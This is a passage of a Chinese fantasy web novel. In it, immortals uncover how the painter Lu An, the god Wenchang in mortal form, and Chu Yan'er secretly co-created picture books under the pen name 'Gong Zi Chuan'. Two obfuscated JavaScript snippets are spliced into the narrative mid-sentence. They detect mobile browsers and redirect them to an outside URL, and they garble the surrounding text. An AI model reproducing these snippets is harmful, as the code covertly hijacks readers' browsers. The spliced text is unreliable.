他平时嘴巴虽损,脾气却其实极好,方才差点被璃音摔碎胯骨,也不过付之一笑,但此时他的眸色中却蕴了几分危险的愠怒。 这时璃音刚好看完那页大结局,也怔怔地抬起头来。 关于藩青莲的结局,她记得当时那个矮个子客人格外激愤,他是这么说的:“那个什么川公子,画到后来,居然让藩青莲领着一帮女的,隐居到山里逍遥快活去了,简直岂有此理!” 她站在房门口,放下手中书册,回身望望外面宽宽展展、雕栏玉砌的大院,又再将画着大结局的那页捧回眼前,看了又看,最后终于确认:“这书里最后画的藩青莲逍遥隐居之所,就是这处宅院啊!” 35. 第34章 公子川 虞宛初拿过书来看了,也觉不可思议。 摇光垂目往那页上扫了一眼,就慢慢将目光移回到了旁边的那位好友身上。 无论是作画之人早先来过此处,于是有了用此景入此画的巧合。还是为卖弄噱头,画后依着样子,自己偷偷造下此处宅院,准备编个通灵故事,以求画价飙涨。一般人听璃音道出这等“画与现实交映”的奇事,都一定会想要把那书中所画之景瞧上一眼。 而文昌连眼珠子也不曾转动一下,竟似对那书页毫无兴趣,也对璃音的这番发现毫不意外,只兀自把唇抿成了一条直线,眸底幽深,深到叫人瞧不清里面藏着的是冰是火。 摇光不动声色地看他。 忽听得屋内虞宛言大声道:“阿姐,你快来看,这里藏了好多楚雁儿的画像!” “夏姑娘,我们去看看。”虞宛初闻言,当即拉了璃音进去。 文昌那双好似僵住的眼珠在听到“楚雁儿”这三个字时,终于微不可见地动了一动。 “朱颜辞镜花辞树,相遇之后,总要别离。”他正欲抬步往里走,就听见摇光忽然在旁边念起诗来,语调微扬,略带着些揶揄。 正是早先时候在望仙酒楼,摇光问他会不会忘记楚雁儿,他装模作样给出的回答。 “我可不是来找她,我是来寻文昌笔的!”文昌狠狠剜他一眼,脸上现出两团可疑的晕红,当然,如果有人此时指着那两坨红脸颊问他,他一定会说那只是被气出来的。 “我又没说你是来找她的。”摇光笑得若有似无,既欠揍又和善,文昌研究了几千年,也没研究出那笑究竟是怎么笑出来的,“只是这寻文昌笔的差事,你不是已经交给我了?” 言下之意:别说了,我都知道,你就是来找楚雁儿的。 文昌一张红脸转青,哼道:“你做事不靠谱得很,谁知道你干没干活,我放心不下,来监工一下又怎么了?” 说着袍袖一甩,踏着大步进屋去了。 他向来坚信,只要自己的步子跨得够大够潇洒,尴尬就永远追不上他。 虞宛言已将屋内烛火点亮,璃音环顾屋中陈设,花梨木案,幔帐香纱,像极了某些富户小姐的闺房,只是多了许多书架,架上大多是公子川所作的系列画册,而有一层竟满满堆放的全是楚雁儿的画像。 画中的楚娘子或立或卧、或嗔或怒,立时亭亭袅娜,卧时更是风姿万种,那嗔也是嗔中有情,那怒也是怒里含俏,无一张不美,更无一张不笑。楚雁儿固然是个月貌花容的美人,但要在纸上画出这般的鲜活明丽、顾盼生辉,那作画之人对画中人满腔的爱慕痴恋,已是恨不得要从笔端溢出。 而所有这些画上的落款,依然都是那同一个神秘的名号:公子川。 璃音唰地扭头,两道眼神如电,直直地向那边正大步走来的文昌帝君射去。 在这个世上,有此等书画功夫,还如此痴恋着楚雁儿的,除了这位下凡历劫的文昌帝君,还能有谁?总不可能是那个两地行商,结果一地娶一个老婆的陈天财吧? 文昌帝君在人间历劫时的身份,她隐约听陈天财提起过,似乎是他家一个姓陆的小厮,但具体叫个什么名字却并不知晓。从廉秀才那儿买来的那本《楚燕偷春》里倒是有名有姓,但用的全是只有七八分相像的化名,做不得准,给他按的名字竟然叫作陆鹌,怎么看也不像是个正经的人名。 文昌跨着大步,行路间屁股尚在隐隐作痛,当下迎面就被璃音这寒玉般的眼神看得一个哆嗦,潇洒的步伐当即一滞,他双臂不自觉交叉护住胸口,作出防御的姿势道:“小仙子,你做什么这样看我?” 璃音见他此等惊恐情状,心想父母说得对,她这副容貌天生长得不讨喜,否则帝君何以一副很怕自己的样子?于是只好又把那副修炼精纯的假笑面具戴上,笑道:“帝……” “帝君”两个字才出口一半,忽然瞥见一旁站在书架前的虞宛言,她顿了一顿,又重新挂上一脸甜笑,改口道:“文公子,您在此间行走时,是用的什么名号?” 这次轮到虞宛言打哆嗦了。 他浑身鸡皮疙瘩直冒,两只眼睛瞪得老大,似乎看到了比线条人蜕皮还恐怖的东西,他瞪着璃音道:“你脸抽筋了?” 璃音:“……” 她仿佛能听见自己脸上面具“咔嚓”一声裂开的声响。 摇光在后面发出一声意味不明的轻笑。 这笑声文昌听得真切,他全身一凛,立马站得笔直,又一次伸手指天:“我发誓,我和这位小仙子之间清清白白,之前与她绝不相识,今天才第一次说上话!” 璃音莫名其妙,她转头去看文昌帝君,那位帝君却眼观鼻鼻观心,坚决不肯与她对视一眼。 气氛中顿时溢出了一股微妙的尴尬。 虞宛初拿了一册小书过来,当下笑着替璃音解围道:“文公子,夏姑娘应该只是想问一问你是否就是那位公子川,并没有其他的意思。” 她是这一行人里的大姐姐,于人情世故向来看得透彻,其他几个虽也有成仙数千数万年的,但其实根本没怎么在红尘里摸爬滚打过,行事说话都带着一股仙人的“天真”,脑子里那一根筋是又直又透明。 听虞姐姐这样说,璃音才反应过来:这位帝君竟是把她的假笑当成撩春献媚了! 其实这样的事她也不是头一次遇上,这面具虽有时好用,副作用也真是不少,一不小心,就要被一些自作多情的人当成是在撩拨。 她一时有些迷茫:从小父母就告诫她,虽然许多人嘴上不会明说,但大家心里总会不自觉地更偏向那些嘴甜笑容也甜的女孩,她天生容貌不好,不做表情时就显得分外冷漠,这一副冷脸迟早要吃尽暗亏的。 可当她学着那样去笑,又时不时会引来一些对她上下打量的、闪烁着奇异光芒的眼神。 要做个讨人喜欢的人可真难,当真是甜也难,不甜也难。 而文昌听了虞宛初的话,也才意识到了不妥。 可他适才只是想起了那年这位小仙子染满血色的衣裙,和摇光那双沉冷如墨色寒渊的双眼,明眼人都瞧得出,谁要是不小心介入这样两个人中间,谁就得是那灰飞烟灭的炮灰!他来人间这一遭,可是吃够了当炮灰的苦,哪有回了天上还继续当炮灰的道理!这才有了方才指天起誓那一出。 于是他那发完誓的手刚放下,便又急忙忙地举起,指去了天上:“仙子,我对天发誓,绝无轻辱你之意,仙子仙姿玉貌,岂容我自作多情,妄加肖想,本……本人只是一时过于惶恐,惶恐至极!” 他差点脱口说成“本帝君”,但忽然见到还有两个凡人在场,就也和璃音一样,话到一半,硬生生给改了口。 虞宛初见他如此,不禁掩了口,垂眸低笑。 虞宛言便又一次掏出那本《神仙图鉴大全》,十分熟练地翻到文昌帝君那一页,晃去他和璃音眼前,道:“你们一个个也不用这么遮遮掩掩的,我和阿姐都知道他就是文昌帝君。” “惹姑娘见笑了。”文昌听虞宛初发笑,脸上红了一红,见那书中画像惟妙惟肖,又不免好奇,忍不住凑身向前,“这是什么书?” 啪嗒—— 他话音还未落,书架上一幅画像忽然掉去了地上。 屋门未关,许是夜风吹了进来,吹动了架上画卷。 璃音将那画拾起来一看,画中是楚雁儿正端坐在绣架前穿针引线,做着针黹,但那眼神却凉凉斜斜地向外瞟着,仿佛正透过纸张,横眼瞪着什么人。满架有关楚雁儿的画像中,璃音还是头一次见有神情如此冷淡的。 旁边的文昌见了,心头却又是一凛,那手也不必放下来了,直接指着天就发誓道:“我与这两位姑娘都是清清白白!之前与她们绝不相识!如有半句虚言,叫我明天就谢顶,漂亮姑娘从此再不肯看我一眼,然后天诛地灭,天打五雷轰!” 这誓言可发得比前几次要狠多了,璃音眉梢轻轻一挑,抚过画中楚雁儿姣好的面庞,以及比方才看时竟柔和得多的眉眼,缓缓地开口道:“帝君对楚娘子还真是一往情深,便只是对着一幅画,竟也怕惹得画中的她吃醋呢。” “仙子说笑了,一幅画能吃什么醋。”文昌干笑两声。 忽然感觉背后被人用剑柄狠狠戳了一下,扭头一看,原来是摇光那厮,只见他悠悠然收了破军,说道:“你还没回答我老师方才的问题。” 文昌装傻:“什么问题?” 摇光睨他一眼,提醒:“你在凡间时的名字。” 那眼神像是在提审重犯似的,他怒:“你当我是犯人吗?” “你一心虚就喜欢逃跑,喜欢装怒反问。”摇光实在太了解自己的这位友人了,见他这顾左右而言他的样子,更是把他的嫌疑又坐实了七八分,“所以你现在在心虚什么?” 有摇光在,文昌知道自己这遭是躲不过了,只好招认:“这些画确实是我画的。” 他拿过璃音手中那副楚雁儿的画像,画中女子的眼神方才明明还向着画外,此刻却好像微微移开了,不肯与画外那人对视。 “但我不能算是公子川。”他看画中女子避开视线,笑了笑,抚上她鬓边一缕碎发,似乎想要隔着画纸帮她拂去耳后,“我在人间的名字,叫作陆安。” “鹌鹑的鹌?”璃音从乾坤袋中翻出那本《楚燕偷春》。 文昌一见那书就上火,当即抢了过来,撕作两半,扔在地下,怒道:“是‘会面安可知’的安!” 璃音看着画上落款,他既承认这些画作都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627822|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出自他手,怎么又说自己算不得是公子川呢? 虞宛初举高手中一直拿着的一册小书,柔声问道:“这么说,这些落款公子川的故事画册,也都出自您的手笔了?” 那书的封皮上写的是“烧火丫头夜逃伏龙山”,璃音从未见过这本,便好奇地拿来手里翻了翻。 文昌瞧见是这本书,不知想起了什么,脸上流露出一丝怀念,他轻笑:“画是,故事却不是。” 璃音翻过几页,发现画的是一个遭权贵迫害的大侠凭借一身好武艺,干脆豁了出去,决心要杀那权贵的全家泄愤,于是夜闯入户,提刀一路砍杀进去,进门闯的第一间便是厨房,那熬着夜给主人煨汤的烧火丫头便首当其冲,直接挨了一个窝心脚被踹翻在地,然后一把亮晃晃的大刀就搠进了她的心脏,她从头至尾连喊都没喊得出一声,就被那位寻仇的大侠给捅倒了。 其实这个故事开头本不算新鲜,便在廉秀才的“藩青莲”系列里就有这一段,是“武太郎”的弟弟虐杀嫂子后,又大杀权贵满门,然后剃发潜逃,落草避难,与原著的情节也是几无出入,画的写的均是要叹他的遭际、赞他的侠义。 但从来没人关心过那个莫名其妙就给人一刀捅死了的烧火丫头,她只是一个用来成全那位大侠威猛形象的连名字都没有的炮灰。 而这一本《烧火丫头夜逃伏龙山》,画的竟是那烧火丫头一刀之下居然未死,原来她心脏长得比旁人偏了几分,侥幸保住一条小命,于是她连夜奔逃出府,一路上风餐露宿,历经种种奇遇,最后逃到了伏龙山上,撞见此处世外桃源,就此隐居,过起了比公主王孙还乐和的悠闲日子。 倒是一本别具一格的小丫头历险记。 只是那小丫头的脸,璃音越看越觉眼熟,直看到那小丫头隐居山间,穿上精美的桃红缎裙,挽上符合她洒脱本性的随云髻,在文字泡泡框里吐出一句:“我是山中逃亡人,自此便叫作山桃吧。” 璃音方始醒悟:原来她便是楚雁儿身边的那个小丫鬟,山桃!也就是那日在望仙桥下拉了她和摇光就跑,求他们去救楚雁儿的那个小丫头! 只是那时她穿得朴素,又满身满脸的血污,神色间一派惊乱惶急,与后来遇见她时那洒脱随性、风情无限的模样实在相差太大,故而璃音才没能将她认出,总觉得她看起来既熟悉、又陌生。 璃音合上画册,看向有些出神的文昌帝君:“这画是你画的,但故事却不是你写的,所以你只能算是一半的公子川,是么?” “不错。”文昌捏紧了手中楚雁儿的画像,没有否认。 璃音摸了会儿封皮上公子川的落款,眼神忽然飘去了画中的楚雁儿身上:“那么再加上楚娘子呢?” 文昌被她这么冷不丁地一问,神情反倒平静了下来,回头向摇光笑道:“你这个小老师果然厉害。” 但他一眼就受不了摇光那若有似无、与有荣焉的笑,于是又默默转头回来,向璃音道:“仙子是如何猜出的?” “其实也不算难猜。”璃音晃晃手中的封皮,“这些书册既是合著,按理原该将合著二人的大名全都写上,似这般捏合成一个假人的名字,说明你们要么是不肯留名,要么就是不能留名。” 她捡起地上被文昌撕碎的那本《楚燕偷春》的封皮一角,拍了拍那上面大大的一行“望州廉秉生秀才执笔”,继续说道:“但有这等出名的机会,世人都恨不得把名字写得比标题还大,再说你当时一个小厮,只是穷困,并无仇家,还爱慕府中夫人,更恨不得早日出人头地,把那陈天财比下去才好,有什么不肯或是不能留名的?” 顿了顿,又道:“既然原委不出在你这个画手身上,自然只能是因为另一位写故事的人不方便留名了。而且你们二人合写了这么多本,从不为名利反目,可见你们两个对于此事都是心甘情愿商议定了的,这唾手可得的才名,那人不能求,你便陪着放弃,也不去求。可还是那句话,有这等出名的机会,有谁会甘愿放过呢?除非……” 她从书架上取出另一幅楚雁儿的画像,画中佳人含笑,正在提笔练字,璃音发出一声微不可闻的叹息:“除非那人是个女子。” 女子在这个世间是没有资格著书立说的,哪怕只是一本卖给大家消闲时看来一乐的连环画册,也不是女子能够署名的,再加上楚雁儿已嫁做人妇,写这样的故事出来贩卖,他的丈夫陈天财更是不可能应允。 “楚娘子脑中故事天马行空,却不善笔墨,陆郎笔墨精妙,画出的人物活色生香,却难有这样独特视角下的叙事,你们二人将各自长处结合,便有了这些妙趣横生的画册。”璃音放下手中书画,直视文昌,“楚雁儿,陆安,各取一字,楚安,连读便是一个‘川’字,公子川便是由此而来,帝君,我猜得可对?” 36. 第35章 不还寨 文昌听璃音条分缕析,竟已猜中了十之八九,自觉再无什么可隐瞒的了,便笑道:“仙子聪慧,所言大体相似,唯独有一句却是不对。” 璃音这一番推测有根有据,情理通畅,虞宛初只觉已是对了十分了,因问:“是哪一句不对?” “仙子适才说雁儿因空有故事,不善笔墨,故而下笔之事由陆安代劳,此一句却是不对。”文昌就慢慢在书架前踱起步子,伸手在那一张张的画像中拨弄,似乎在寻找着什么,“雁儿的父亲诗画双绝,更是本地书法名家,她自小耳濡目染,才情又好,笔墨功夫便不能胜陆安,也胜过这世间绝大多数自命不凡的名士之流了。” 陆安本是掌天下文运的文昌帝君下凡,虽投身成了个小厮,但论文章笔墨,这世间自是无人能胜得过他的了,楚娘子能得他这样的评价,足可见其才气,笔下文墨更是绝非凡俗。 这时文昌翻找画像的手一停,从架上取下一张画来:“这一幅,便是她画的。” 众人看时,只见画上是一个灰头土脸的小丫头,身穿破布袄,脚蹬旧棉鞋,手里举一把长长的火钳,圆睁着双目,就在深山里和一只猛虎对峙,那虎爪尖厉,虎口狰狞,小丫头脸上却丝毫不见惧色。 看那小丫头的五官身形,璃音这次一眼便认了出来,正是山桃。 底下果然一行小诗:山桃初绽蕊,一一向春开,为赴明朝约,打虎上山来。 落款是一个清秀雅正的“雁”字。 璃音看了这画,不过寥寥数笔,少女之无畏,猛虎之张狂,便就活灵活现,跃然纸上,不禁问道:“她既有这个才能,那些故事又都是她想出来的,她自己怎么不画,却叫你来画呢?” 文昌闻言将画轻轻放回书架,叹了一声,接着说道:“只因她家中一个亲戚坏了官,受了些牵连,因此家中败落了,她父母双双染病卧床,再养她不起,十三岁上便把她卖给了陈天财作夫人,那时陈天财已快有四十岁了,没过半年,她父母也都走了。” 璃音接口道:“那个陈天财不是在外地行商,一年都不定能回来一次的么?等他出了门,天高皇帝远的,楚娘子自作她的画,他也管她不着吧。” 不料文昌听了,突然冷哼一声,说道:“那个陈天财,每次回来时对外装得阔绰,其实并不曾赚得几个钱,不多久又在外另娶了一房新妇,每年带回来的银两,一大半先捐给镇里的学堂宗祠,好给自己博名声,他在家时又好大请四方,每有客人过来,都要好酒好肉供着,为着这些人来瞧他的体面,又把家里房子越修越高。等他走了,余下的银子称一称,每月竟只剩得十两好花,还要被一个杨肃打走至少五两的秋风,雁儿每日在家就是一个馒头就咸菜。” 璃音听着不禁轻轻地“啊”了一声,她原先还想过,楚娘子嫁的这个陈天财虽形貌品行均不太可,但幸而丈夫并不常常在家,有山桃和她心爱的陆郎相伴,手里还有大把的银子可以随便花,那也还算不得太苦。但她万没料到,那东巷里的陈家大院表面建造得如此风光,生活在里面的人却是那样一副磋磨光景。 只听文昌继续说道:“她字画灵秀,针黹更是奇绝,便常绣些纹样新奇的帕子,想着换几个钱补贴家用,但陈天财要她在家扮演富太太,绝不会允许她做这样事,去损了他的面子,她只好央求家中小厮陆安乔装打扮,偷偷帮她拿去集市上卖。一日她在家中翻到几本陈天财买回去的小书,便是廉秀才画的那套《藩青莲》。” 楚雁儿翻看着藩青莲的故事画册,不禁触动心事,只觉心底刺挠,浑身不痛快,待看到武二为兄报仇,虐杀藩青莲,放下书册,长叹一声:“你自是个铁铮铮的汉子,但你只道是你嫂子毒害了你大哥,你却怎的不见你大哥娶了你嫂子,就是在一日日慢性谋杀她的人生。” 又往后看到烧火丫头被武二随手一刀搠死,更是嗟叹不已:“这不是莫名其妙,你找人寻仇,自去砍你的仇人,这个小丫头又不曾害你半点,被主人逼得半夜睡不得在这里烧火,还要遭此横祸!可怜!可怜!更可怜的是她就这样死了,竟连个名字也没有!” 当下思绪飞转,想着那小丫头若能不死,逃出那间日日要她半夜烧火的厨房,也如那武二一般出去自在闯荡,该是多么畅意快活!闯累了,便也如那武二一样,去山上住着逍遥。 她想,他们那些好汉既然能占一座山,那小丫头自然也该要有一座山。 小丫头还该有一个名字。 “你是山中逃亡人,自此便叫作山桃吧。” 于是铺纸研墨,依照心中所想的故事,画下了那幅《山桃打虎上山图》。 作完诗画,自己欣赏了一番,越看越满意,突然心中一动:这改编的画册别人画得,我难道就画不得?山桃的故事在这世间只有我一人晓得,她岂不是太也寂寞。 就打起作画去卖的主意来。 听到这里,虞宛初道:“原来她本意是想要自己画的,后来怎么却又让陆安代笔了呢?” 文昌听见她问,脸上忽然红了一红,摇头笑道:“是她无意中发现了陆安藏的一些字画。” 原来陆安文才出众,但因家中困苦,又去给这等外强中干的假富贵人家当了小厮,这辈子考学是绝没指望的了,于是那些个没用的才华也就从未有机会显露于人前。 但他暗中倾慕着府上的夫人,每日在窗外看她端坐在绣架前做针黹,那绣出的纹样自是极美,但她那手拿绣针、优雅地穿来引去的样子更美,他按捺不住,偷偷将她抬手绣花的模样画下了一幅又一幅。 却不料一日他正躲在房里悄悄画着,夫人忽然有事来找,他遮掩不及,这些画就全给楚雁儿瞧了个正着。 她一张一张翻看过陆安画的那些自己,脸上一阵青红交错,却不是气恼他肖想自己,而是见他画功精湛,每一张都画得比自己好上何止数倍,登时羞愤难当。 她自幼随着父亲学诗作画,虽女子难以扬名,但她盘点望州那些所谓名士的字画,只觉他们的水平实在太次,比之自己是远远不及,心中便不免颇有几分文人傲气。 如今看到家中一个小厮随手涂鸦的画作,竟就狠狠压了自己一头,那股子傲气发作起来,当即一个跺脚,就将那小厮压去了书房,要跟他比试一场,两人从画作书法,比到诗词歌赋,陆安是文昌下凡,楚雁儿自然是样样比不过他,当下气得把笔折了,叫道:“我一日比不过你,就一日不再写字作画!” 陆安见她犟得可爱,就笑:“夫人,你不再习字作画,这功夫只会一日日荒废下去,哪里还有长进的道理,你这样,岂不是此生永远也比不上我了?” 楚雁儿想他说得有理,就开始日日把他压在书房,逼他教自己画画习字。 一日陆安正陪楚雁儿练着书法,两人闲谈间,楚雁儿就提起要作连环画册的念头,又与陆安讲了她脑补的许多关于那烧火丫头的故事,只是苦于自己不得落款,故而一直迟迟未曾动笔。 陆安听了连连称奇,道:“幸而夫人那日不曾与小的比这讲故事的功夫,否则小的必输无疑了。” “什么小的大的,你老爷现在不在家中,不必搞这些贱称。”楚雁儿停下笔,转着眼珠将陆安上下一阵打量,“我曾发过誓,一日画不过你,就绝不对外提笔作画,既然你有此等画功,我又落不得款,这小丫头山桃的故事,何不就由我来说,你来画?” 陆安却推拒道:“我来作画可以,但这分明是你的故事,却只来署我的名字,便是你愿意,我也是不肯的。这落款,要么就写我们两个人的名字,要么就谁的名字也不写。” 楚雁儿听他不肯,稍稍一愣,却也心中温暖,微一沉吟,拍手笑道:“既然我的名字不能写,你又不肯独留你的,那就既写我们两个人的名字,又谁的名字都不写好了!” 她提笔蘸墨,就在练字的纸上写下两个小字:楚,安。 接着又在这两个字下面,一笔一划地写下了另一个大字:川。 公子川便就这么诞生了。 当晚两人都很兴奋,立马就着手画起了山桃的故事,没几天,就画完了一整本的《烧火丫头夜逃伏龙山》。 此后两人整日便腻在书房里,一个脑中天马行空,一个手下笔走龙蛇,“公子川”很快就在望州有了些名气。 “他”身份成谜,画风灵巧,楚雁儿视角独特,画中故事更是常常剑走偏锋,偏爱把那些成名小说中连姓名都不曾有过的炮灰角色捧作主角,再让原本的主角来当炮灰。 即便画了书中一些出名的角色,也总要出其不意,要么画一些旁人从未画过的视角,要么将一些本来约定俗成、大快人心的结局大改特改,改得不少人坐在家门口一边烧书,一边破口大骂。 便说那许多有名的字画先生都作过的藩青莲系列,凡画到男女偷欢那一节,便必定要格外加意笔墨,恨不得将藩青莲那酥玉般的乳儿、嫩杨柳样的腰儿、俏金莲似的脚丫儿、甚至那香津津的汗儿,都各自画上满满的十页。 但公子川画到此节,却不画那粉面桃腮、娇羞无限的美妇人,只画那东门庆潘安一般的俊俏脸儿、八尺来高堂堂玉立的男儿身儿、还有那劲瘦紧实的一把好腰儿。 而紧接着此页,画的就是那眉目狰狞,身不满五尺,好似五短侏儒一般形貌的武太郎,他沿街挑着炊饼担子,似乎在微张着嘴,吆喝叫卖,公子川笔力灵妙,让人一看便觉他喊得声如蚊呐,唯唯诺诺,嗓子都要比旁边小贩细上一截。等收了摊子回家,又不解风情,呆头呆脑,只知使唤藩青莲烧火做饭,上榻陪睡。 那美妇人面若芙蓉、冰肌雪骨,前一页还在被家缠万贯、俊雅公子使尽手段,讨着她的欢心,带她共赴欢愉,后一页便是那面目猥琐的穷矮丑男,对着她尽情使唤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644031|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这若只是文字尚还好些,但此时这画面就被公子川这么活灵活现地展现了出来,对眼睛和脑子的冲击力都未免过大。 而更出人意表的,便是公子川给那偷情美妇安排的完满结局了。 于是有人爱看,有人爱骂,“公子川”的名头凭着这番争议一夜打响,卖画生意蒸蒸日上。 璃音听到此处,又拿起手边那本《烧火丫头夜逃伏龙山》翻了翻,翻到末尾山桃隐居的那处山间小寨,与藩青莲一样,她打虎上山,上的便是这伏龙山,最后住下的也就是此处宅院。 她又在书架上随手翻过几本,主角各不相同,结尾却无一例外,都隐居来了此处小寨。 且寨名读来十分奇特,叫作“不还寨”。 璃音便向文昌问道:“这‘不还寨’又是怎么回事?是你们之前来过?” 这画中的“不还寨”,与此刻他们身处的宅院太过相似,简直可以说是一比一复刻,便似直接从画里搬出来的一般。 那么究竟是先有了画,再有的“不还寨”,还是先有此处的“不还寨”,才有了画中宅院呢? 若是后者,文昌帝君方才却指着文昌星发过誓,坚决表示自己今天是第一次来。 他果然摇头道:“不曾来过,是雁儿看书中那些男子最后都聚在一座山上,便想天下也该有一座山,要归那些走投无路的女子,望州山多,却只这座伏龙山最多故事,离得近,又神秘,最适合搬进故事画里。” 那么就是前者了,只是这便更奇了。廉秀才因通晓人情世态而预先画中楚雁儿的死状,这尚可解释,但要一笔不差地画出这么大一处豪华山寨,莫说他二人从未见过此处,便是天天住在里面的人,也未必就能画得如此精准。 摇光听完这些,抬眸在文昌脸上盯了一会儿,看他神色不似说谎,沉默片刻,忽道:“你可是用文昌笔画的?” 文昌呆了一呆,道:“是,那天我走在路上,有一个老汉掏出一支毛笔,非说这是他传家的宝贝,看我有缘,硬要塞给我,要我珍之重之,万不可丢弃,我本也爱这些文房用具,就收下用了,我如今想来,那老头诡异得紧,好像是司命那厮扮的。” 仙君下凡历劫,本命法宝自然只可留守天宫,但有黏人些的,闹着要下去与主人团聚的也不少见。 “当年你在凡间时,破军天天去削司命的殿门,他不也扮成美女,把它给你送去了吗?” 那个整日坐着编写命簿,哀嚎着长了许多过劳肥的司命星君?扮成美女?璃音默默在脑中将这形象想象了一番,差点没忍住噗嗤一声笑了出来。 文昌应也是想起了当年趣事,扬了扬嘴角,随即正色道:“但你也知道,文昌笔可批天下文运,却并不能作画成真的。” “我知它无法画虚为实。”摇光右手拇指轻轻在破军的剑柄上抚着圈,“但或许是它见识过此间景象,借你之手成画。” 文昌仍是摇头:“这个‘不还寨’,虽是为那些女孩儿所设,但其实也是陆楚二人为他们自己幻想出来的私奔避世之所,她是被父母卖给陈天财的,她想逃却不敢逃,她若逃了,自此便是‘不还债’,所以才有了这个名字。至于院中的一草一木,以至这屋内的每一处陈设,皆是按雁儿的喜好画就,绝不会是文昌笔借谁之手所作。” 璃音又仔细看了看手中这本《烧火丫头夜逃伏龙山》的最后一页,一页分作四格画面,画中的山桃在院中剪了几枝初春带露的桃花,正要拿进屋去,和姐妹们一同赏玩。只是她前面三格都挽得好好的随云髻,在最后一格里,却微微有些散乱了。 她又瞟一眼文昌手中始终不曾放下的那副楚雁儿作绣图,她记得画中楚雁儿鬓边是有荡下一缕碎发的,现在却已清清爽爽地别在了耳后。 她不动声色地收回视线,只是指着书中发髻微散的山桃,向文昌笑问:“陆安画这最后一格时是遇上了什么急事么,怎的头发都给人家小丫头画乱了?” “手抖,手抖。”文昌眼神忽然一阵闪躲,忙上手合了那书,笑得讪讪,“画圣也难免一时失手,仙子何必如此挑剔。” 摇光笑道:“原来只是手抖。” 忽听唰的一响,却是他蓦地执剑抬手,破军向着旁边的梨花小案平举探出,展臂一勾,便将案上一个燃着的烛台勾上了剑尖,再折臂回剑,烛火煌煌,照亮他原本隐在昏暗光线的脸,却更映得他眸若冷星,眉似霜剑。 他剑眉一挑,唇边似是噙着一抹极其冷淡的笑,便勾握着剑柄,一点一点将剑尖移去了文昌手中的那副画上,烛台随着剑身微倾,火舌不断往下舔舐着烛身,熔出一团将滴未滴的蜡油。 “武圣也难免一时失手,文昌,你画中的楚娘子可要小心了。” 说着剑尖一颤,那滴蜡油轻轻一滚,还带着烫热,就猛地一坠,向那画中楚雁儿的左眼滴落而去。 37. 第36章 逼供 文昌一把将画按进怀中抱紧,嗤的一声,那滴蜡油灼在了脚下木地板上,他额头青筋暴起,后退数步,怒睁着两眼,厉声叫道:“摇光!你发什么疯!” “手抖而已,帝君何必介怀?” 摇光轻笑一声,一个闪身,就绕去文昌身后,屈起一只左臂,环过他身侧,就自下而上拢了他两只胳膊,往他颈中一搂,这么一来,文昌便成了个双手高举,被摇光连双臂带脖子都锁在了一起的姿势,这一下画像无人拿持,向下急落,摇光微微探掌一夹,轻飘飘地便将那画夺在了手中展开。 他另一只手却始终稳稳持举着破军,此时也向前弯来,又一次对准了画中楚雁儿的左眼,剑尖稍倾,一滴滚烫热蜡便又要滴落。 文昌半个身子都为他钳制,只得大踢着双腿,拼命挣扎,声嘶力竭地叫喊:“摇光!你敢动她!” 其实几人看到此处,心中多少都已有些明白了,文昌虽将自己所知吐露了不少,神情也不似作伪,但恐怕只是说一半留一半,他方才回应璃音最后那一问时,言辞闪烁,显然对那虚虚实实的画中世界并非一无所知,这些书架上的书画之中也都必然暗藏诡秘,尤其文昌一直拿在手中、护若珍宝的这一幅楚雁儿画像,里面说不定就藏着楚雁儿的魂魄。 摇光这是要将楚雁儿自画中逼出,好叫她与众人当面对质。 但看他这一番作势毁画的样子,冷眉斜挑,嘴角微扬,当真便似那修罗含笑,为达目的,太也无情。 虞宛初知他意图,也知凭自己之力绝无可能阻止,但终归还是不忍,颤声道:“神君!楚娘子也是个可怜人,还望神君手下容情!” 她明知他是九天之上的摇光星君,这一路上却一直喊他作“慕公子”。一是依着璃音意愿,不去暴露他们的仙家身份;二是她心里对璃音亲近,故而明知他们是天上的仙人,却只想着在这一段凡间相伴的缘分里,把他们当作友人来相处。这时她喊出这一声“神君”,便将她以凡人之躯为一介凡人向神明的祈请恳求之意,剖现得再明晰不过。 虞宛言心肠要比阿姐冷硬得多,并不觉得摇光此举有多少不妥,但见姐姐这般求情,也道:“神君,你放过她吧,总还有别的办法叫她出来。” 而摇光对这二人的言语便似全没听见一般,完全不为所动。 他是天生地养,没经历过父慈母爱、兄友弟恭、人情雕琢的一颗孤星,历劫十次,归来后仍旧心如顽石,旁的仙人总爱说他无理蛮横,性情乖戾,不通世情,好像全身随时要燃起一簇无名火,一点就着,天宫里的狗见了他都要绕道,可怕得很。 只有文昌清楚,他的这位好友,可怕的从来不是他似人间纨绔一般摔碗怼人的时候,那时的他,心里的那份乖张是热的,烫的,是向往着某些东西而燃起的炽热烈火,而他真正危险时的乖戾却是冷的,冰的,是心在战场、势在必得而生出的幽蓝冷焰,此时的他只要出手,便要求胜,不达目的,绝无容情。 文昌正自绝望,却忽听身边一个少女的声音略带嗔怪地说道:“小七,怎么好随便拿剑玩火,这屋子里这么多书,不小心烧起来了怎么办。” 说着就伸手取下破军剑尖的火烛,小心翼翼地捏在了自己手里。 摇光即刻收剑,敛眉颔首:“是学生考虑不周。” 文昌:“……?” 这还是他认识的那个不达目的不罢休,杀敌不眨眼,眨眼也杀敌的战场前锋摇光星君吗? 